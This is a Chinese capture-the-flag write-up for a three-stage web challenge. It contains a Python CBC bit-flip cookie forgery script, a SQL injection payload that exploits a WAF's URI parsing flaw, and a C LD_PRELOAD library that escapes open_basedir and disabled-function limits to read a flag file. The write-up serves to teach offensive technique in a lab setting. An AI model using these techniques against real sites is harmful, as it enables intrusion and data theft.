这周的三个白帽题听说是前几天ALICTF的招聘题延续,上次两题都没撸出来,这次给了源码终于撸出来了。
该渗透题有三个大坑
坑1: CBC攻击 很简单的CBC攻击,上次google CTF中出现过,我也写过wp:http://0x48.pw/2016/05/03/0x1A/
直接贴脚本吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport hashlibimport base64import redef fuck_captcha (s ): for x in xrange(0 , 10000000 ): y = hashlib.md5(str (x)).hexdigest() if y[:4 ] == s: return str (x) print "God personality.(%s)" %s exit(1 ) url = "http://451bf8ea3268360ee.jie.sangebaimao.com/login.php" url2 = "http://451bf8ea3268360ee.jie.sangebaimao.com" req = requests.get(url) c = req.headers['Set-Cookie' ].split(";" )[0 ] c = c.split("=" ) cookie = {c[0 ]: c[1 ]} cap = re.findall("=([a-f0-9]{4})" , req.content)[0 ] captcha = fuck_captcha(cap) data = {"username" : "ddmin" , "password" : "ddog" , "captcha" : captcha} req = requests.post(url, data=data, cookies=cookie, allow_redirects=False ) c = req.headers['Set-Cookie' ] user = c.split("=" )[1 ] u = user.replace("-" , "+" ).replace("_" , "/" ) u += "=" * (len (u) % 4 ) de = base64.b64decode(u) de2 = chr (ord (de[0 ]) ^ ord ('d' ) ^ ord ('a' )) + de[1 :] en = base64.b64encode(de2).replace("+" , "-" ).replace("/" , "_" ).replace("=" , "" ) print en
第一个坑的CBC攻击好几种方法,还可以构造任意字符,所以在这存在注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // index.php <?php /** * @author firesun * @website https://github.com/firesunCN */ require_once("header.php"); if (!isset($_COOKIE['username']) || decrypt($_COOKIE['username']) === "") { setcookie("username"); header("Location: login.php"); exit(); } $sql="select * from user where username='".decrypt($_COOKIE['username'])."';";
因为cookie的值是base编码过的,所以waf并没有用,不过这注入太麻烦了,建议还是踩第二个坑.
坑2: 绕waf 1 2 3 4 5 6 7 8 9 10 11 12 13 // admin/user.php <?php /** * @author firesun * @website https://github.com/firesunCN */ require_once('header.php'); if(!isset($_REQUEST["id"])) { header("Location: index.php"); exit(); } $sql="select * from user where id=".$_REQUEST["id"].";";
这很明显是注入,不过却上了waf,表示这waf怼不动,哪位师傅怼得动?求教!
waf虽然怼不动,不过却有其他问题,在waf.php的76-85行对uri的处理有问题
1 2 3 4 5 6 7 8 9 10 $uri = explode("?",$_SERVER['REQUEST_URI']); if(isset($uri[1])) { $parameter = explode("&",$uri[1]); foreach ($parameter as $k => $v) { $v1 = explode("=",$v); if (isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } }
提出来本地测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function stripStr($str) { if (get_magic_quotes_gpc()) $str = stripslashes($str); return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); } echo '$_REQUEST value is: '; var_dump($_REQUEST); echo '<br />$_GET value is: '; var_dump($_GET); echo '<br />$uri value is: '; $uri = explode("?",$_SERVER['REQUEST_URI']); var_dump($uri); echo "<br />".'now the $_REQUEST value is: '; if(isset($uri[1])) { $parameter = explode("&",$uri[1]); foreach ($parameter as $k => $v) { $v1 = explode("=",$v); if (isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } } var_dump($_REQUEST); ?>
访问:http://127.0.0.1/test/test.php?id=2?&id=3
输出:
1 2 3 4 $_REQUEST value is: array(1) { ["id"]=> string(1) "3" } $_GET value is: array(1) { ["id"]=> string(1) "3" } $uri value is: array(3) { [0]=> string(14) "/test/test.php" [1]=> string(4) "id=2" [2]=> string(5) "&id=3" } now the $_REQUEST value is: array(1) { ["id"]=> string(1) "2" }
所以根本不需要怼waf,uri被处理后,$_GET和$_REQUEST的值可以不一样,然后直接注入就好了
payload: http://451bf8ea3268360ee.jie.sangebaimao.com/admin/user.php?id=-1/**/union/**/select/**/1,2,3,(select/**/content/**/from/**/memo),5?&id=3
得到信息:
1 2 3 /NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php password:firesun flag is at /.
然后就是最后一步了
坑3: bypass open_basedir 给的信息一看就知道是webshell, 先开AntSword连马,发现啥也干不了,看了看phpinfo(),发现ban了一堆函数,看着咋这么熟悉……这不是ALICTF的homework么,出题人也都是firesun师傅.
首先看看能不能写文件,写文件的方法是从homework想出来的,使用move_uploaded_file
,文件上传的函数写到/tmp
目录下,读文件通过highlight_file
或者show_source
这类函数, 这里还有一个小坑,上传到/tmp
目录的文件会被秒删,我们秒读就好了.
bypass open_basedir方法链接: http://drops.wooyun.org/tips/16054
不过和homework一样,服务器的命令基本都被ban了(像啥nc, cat, python,ls)全被ban了,所以按照homework的套路,用C来读目录和文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 //ddog.c #include<stdlib.h> #include<stdio.h> #include<string.h> #include<dirent.h> void payload() { //DIR *dirp; //struct dirent *dp; FILE *fp, *fp2; char buf[100]; //dirp = opendir("/"); //flag在/目录下 fp = fopen("/tmp/tteesstt", "w"); fp2 = fopen("/flag_gei_ni_ni_Ye_du_bu_LIAO", "r"); fgets(buf, 100, fp2); fputs(buf, fp); //while ((dp = readdir(dirp)) != NULL) { // fputs(dp->d_name, fp); //得到/flag_gei_ni_ni_Ye_du_bu_LIAO文件路径 //} fclose(fp); fclose(fp2); //closedir(dirp); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
编译成so库
1 2 $ gcc -c -fPIC ddog.c -o ddog $ gcc -shared ddog -o ddog.so
得到ddog.so
,上传到/tmp
,读文件信息一条龙: